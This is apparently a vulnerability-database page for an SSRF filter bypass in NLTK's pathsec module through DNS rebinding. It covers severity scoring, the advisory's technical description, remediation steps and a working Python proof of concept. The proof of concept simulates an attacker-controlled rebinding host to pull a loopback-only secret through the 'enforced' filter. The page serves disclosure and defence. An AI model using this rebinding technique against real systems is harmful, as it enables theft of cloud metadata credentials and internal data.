Skip to main content

NLTK pathsec CVE-2026-12075

HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-07-31 https://github.com/nltk/nltk GHSA-qvv7-cg9c-w4x3
8.6
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
8.6 HIGH
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
vuln.today AI
8.6 HIGH

Network-reachable with no auth; TTL-0 DNS rebinding is reliable once attacker controls DNS, supporting AC:L; scope change to internal systems; confidentiality-only impact.

3.1 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
SUSE
HIGH
qualitative

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 31, 2026 - 17:16 vuln.today
Analysis Generated
Jul 31, 2026 - 17:16 vuln.today
CVE Published
Jul 31, 2026 - 16:51 github-advisory
HIGH 8.6

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 7 pypi packages depend on nltk (6 direct, 1 indirect)

Ecosystem-wide dependent count for version 3.10.0.

DescriptionGitHub Advisory

Summary

nltk.pathsec provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict ENFORCE mode for security-sensitive environments. The filter is bypassable by DNS rebinding: validate_network_url() resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under nltk.pathsec.ENFORCE = True.

Details

urlopen() validates, then hands the raw hostname to urllib, which performs a second name resolution deep in the connection layer (http.client.HTTPConnection.connectsocket.create_connectionsocket.getaddrinfo). The validation-side and connection-side resolutions are fully independent code paths with independent caches:

  1. validate_network_url() calls _resolve_hostname(parsed.hostname) and checks each returned IP against loopback/link-local/multicast/private, blocking under ENFORCE. (Resolution #1.)
  2. urlopen() then calls build_opener(...).open(url) with the original URL (raw hostname), so urllib resolves the hostname again at connect time. (Resolution #2 - the address actually connected to.)

_resolve_hostname is decorated with lru_cache and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer's getaddrinfo does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not.

PoC

python
import socket
import threading
import warnings
from collections import defaultdict
from http.server import BaseHTTPRequestHandler, HTTPServer

warnings.filterwarnings("ignore")

import nltk
import nltk.pathsec as ps

ps.ENFORCE = True
# the documented strict SSRF sandbox

ATTACKER_HOST = "rebind.attacker.test"
# attacker-controlled authoritative DNS
PUBLIC_IP = "93.184.216.34"
# public address served for the validation lookup
SECRET = b"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS"
# --- A loopback-only "internal service" (stands in for 169.254.169.254 / admin UI) ---
class _Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(SECRET)))
        self.end_headers()
        self.wfile.write(SECRET)

    def log_message(self, *a):
        pass


def start_internal_server():
    srv = HTTPServer(("127.0.0.1", 0), _Handler)
    threading.Thread(target=srv.serve_forever, daemon=True).start()
    return srv.server_address[1]
# ephemeral port
# --- Model the TTL-0 rebinding record at the resolver layer ---
_real_getaddrinfo = socket.getaddrinfo
_lookups = defaultdict(int)


def _rebinding_getaddrinfo(host, port, *args, **kwargs):
    if host == ATTACKER_HOST:
        n = _lookups[host]
        _lookups[host] += 1
        ip = PUBLIC_IP if n == 0 else "127.0.0.1"
# 1st=public (validate), then loopback (connect)
        p = port if isinstance(port, int) else 0
        kind = "VALIDATION -> public" if n == 0 else "CONNECT    -> loopback"
        print(f"    [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})")
        return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, "", (ip, p))]
    return _real_getaddrinfo(host, port, *args, **kwargs)


def fetch(url):
    with ps.urlopen(url, timeout=5) as r:
        return r.read()


def main():
    print("=" * 62)
    print(f" NLTK pathsec DNS-rebinding SSRF bypass PoC")
    print(f" nltk {nltk.__version__}   |   nltk.pathsec.ENFORCE = {ps.ENFORCE}")
    print("=" * 62)

    port = start_internal_server()
    print(f"[*] internal loopback service: http://127.0.0.1:{port}/  (returns secret)\n")

    socket.getaddrinfo = _rebinding_getaddrinfo
    ps._resolve_hostname.cache_clear()
# fresh validation cache, as on a real process
    try:
# ---- Control: a DIRECT loopback URL must be blocked by the filter ----
        print("[1] CONTROL: direct loopback URL (filter must block this)")
        direct = f"http://127.0.0.1:{port}/"
        try:
            fetch(direct)
            print(f"    [?] unexpected: {direct} was NOT blocked\n")
            control_ok = False
        except PermissionError as e:
            print(f"    [OK] blocked -> PermissionError: {e}\n")
            control_ok = True
# ---- Attack: rebinding hostname bypasses the same filter ----
        print("[2] ATTACK: rebinding hostname (public at validate, loopback at connect)")
        evil = f"http://{ATTACKER_HOST}:{port}/"
        print(f"    fetching {evil}")
        try:
            body = fetch(evil)
            leaked = SECRET in body
            print(f"    body returned to caller: {body!r}")
            if leaked:
                print("\n  [VULN] loopback-only secret exfiltrated through pathsec.urlopen")
                print(f"         validated IP = {PUBLIC_IP} (public)  but  connected IP = 127.0.0.1")
                print(f"         non-blind SSRF despite ENFORCE = {ps.ENFORCE}")
                verdict = "VULNERABLE"
            else:
                print("\n  [?] fetch succeeded but secret marker not present")
                verdict = "INCONCLUSIVE"
        except PermissionError as e:
# Patched build: validate against the connect-time IP (or pin/resolve-once).
            print(f"\n  [SAFE] blocked -> PermissionError: {e}")
            verdict = "NOT VULNERABLE"
    finally:
        socket.getaddrinfo = _real_getaddrinfo

    print("\n" + "=" * 62)
    print(f" Control (direct loopback blocked): {control_ok}")
    print(f" Result: {verdict}   (ENFORCE = {ps.ENFORCE})")
    print("=" * 62)


if __name__ == "__main__":
    main()

Impact

  • Full-response (non-blind) SSRF. Because the fetched body is returned to the caller (e.g. nltk.data.load with format="raw"), an attacker can read responses from internal-only HTTP services, loopback admin interfaces, and - most seriously - the cloud instance metadata service, which on major cloud providers can expose IAM/service credentials and lead to cloud account compromise.
  • Bypass of an explicit security control. It defeats the nltk.pathsec SSRF filter, including the ENFORCE mode that NLTK's documentation recommends precisely for environments where untrusted input may reach NLTK. Deployments that adopted that boundary are not actually protected, and the lru_cache annotation claiming to mitigate rebinding makes the false assurance worse.

AnalysisAI

DNS rebinding defeats nltk.pathsec.urlopen()'s SSRF filter in NLTK 3.9.4 and earlier, allowing unauthenticated remote attackers to reach loopback addresses, private networks, and cloud instance metadata endpoints - even with ENFORCE = True - and receive full, non-blind HTTP responses. The root cause is a TOCTOU gap: validation resolves the hostname once, but urllib independently re-resolves it at connect time via a separate getaddrinfo call, connecting to whatever the attacker's TTL-0 rebinding record returns on the second lookup. A working proof-of-concept is publicly available in the GHSA advisory, and the lru_cache annotation on _resolve_hostname creates a false assurance that rebinding is already mitigated, meaning operators who adopted this boundary believe themselves protected when they are not.

Technical ContextAI

NLTK's nltk.pathsec module (CPE: pkg:pip/nltk, versions ≤ 3.9.4) implements an SSRF allowlist filter via validate_network_url(), which resolves the target hostname using _resolve_hostname() (decorated with functools.lru_cache) and rejects IPs in loopback, link-local, multicast, and RFC-1918 ranges. The flaw is a classic CWE-918 (Server-Side Request Forgery) variant compounded by a time-of-check/time-of-use race on DNS: after validation passes, urlopen() passes the original raw hostname string to urllib's build_opener().open(), which initiates a completely independent resolution chain - http.client.HTTPConnection.connectsocket.create_connectionsocket.getaddrinfo - that does not consult the lru_cache populated during validation. An attacker controlling authoritative DNS for a hostname configures a TTL-0 A record that returns a legitimate public IP on the first query (satisfying the filter) and an internal/loopback IP on the second query (the one urllib actually connects to). The lru_cache on the validation side provides zero protection because the connection-layer resolver is an entirely separate code path.

RemediationAI

Upgrade NLTK to version 3.10.0, which is the vendor-confirmed patched release per the GHSA advisory at https://github.com/nltk/nltk/security/advisories/GHSA-qvv7-cg9c-w4x3. Run pip install --upgrade nltk>=3.10.0 and verify the installed version. If immediate upgrade is not possible, apply the following compensating controls in order of effectiveness: (1) Restrict egress HTTP from the application host to deny outbound connections to RFC-1918 ranges, loopback, and the cloud metadata IP 169.254.169.254 at the network or iptables/nftables level - this blocks the connection even when the filter is bypassed, though it requires firewall access and may break legitimate internal service calls; (2) Proxy all outbound HTTP through an allowlisted egress proxy that enforces destination IP validation at connect time rather than at DNS resolution time, accepting the operational overhead of maintaining the allowlist; (3) Ensure no untrusted user input can reach nltk.pathsec.urlopen(), nltk.data.load(), or nltk.download() - treat these as internal-only APIs if the upgrade cannot be applied. Do NOT rely on nltk.pathsec.ENFORCE = True as a security control until the library is patched, as this mode is precisely what the bypass defeats.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Severity: Important

Share

CVE-2026-12075 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy